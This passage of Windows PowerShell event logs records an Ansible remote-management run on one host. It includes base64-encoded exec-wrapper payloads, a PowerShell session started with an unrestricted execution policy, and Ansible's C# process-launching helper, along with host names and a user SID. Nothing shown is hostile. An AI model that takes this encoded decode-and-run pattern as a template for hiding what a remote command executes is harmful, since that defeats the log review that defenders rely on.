fbW9kZSkKICAgIHsKICAgICAgICBFeGl0LUpzb24gQHsKICAgICAgICAgICAgc2tpcHBlZCA9ICR0cnVlCiAgICAgICAgICAgIGNoYW5nZWQgPSAkZmFsc2UKICAgICAgICAgICAgbXNnID0gInJlbW90ZSBtb2R1bGUgZG9lcyBub3Qgc3VwcG9ydCBjaGVjayBtb2RlIgogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkcGFyYW1zCn0KCgpGdW5jdGlvbiBHZXQtRmlsZUNoZWNrc3VtKCRwYXRoLCAkYWxnb3JpdGhtID0gJ3NoYTEnKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBjYWxjdWxhdGUgYSBoYXNoIG9mIGEgZmlsZSBpbiBhI
ScriptBlock ID: f87b23da-a9cc-4cc9-ba18-938cb649a38b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1611 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:47 AM | dfeadd90-ee34-0005-cdf2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQW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oKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2F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wogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICA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ICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY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wgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICA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KCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1Z
ScriptBlock ID: f87b23da-a9cc-4cc9-ba18-938cb649a38b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1610 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:47 AM | dfeadd90-ee34-0005-cdf2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1609 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 1332 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:47 AM | dfeadd90-ee34-0000-e5eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4000 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1608 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 2148 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:47 AM | dfeadd90-ee34-0000-e5eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1607 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 1332 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:47 AM | dfeadd90-ee34-0000-e5eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1606 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3168 | 4604 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:45 AM | dfeadd90-ee34-0005-c7f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3168 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1605 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3168 | 4976 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:45 AM | dfeadd90-ee34-0005-c7f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1604 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3168 | 4604 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:45 AM | dfeadd90-ee34-0005-c7f2-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = c32e864f-33c8-4e6a-94f4-0e74e84b45a9
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 06855721-87c7-4b48-8ada-af224b61367f
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1603 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 2996 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:45 AM | dfeadd90-ee34-0000-d7eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
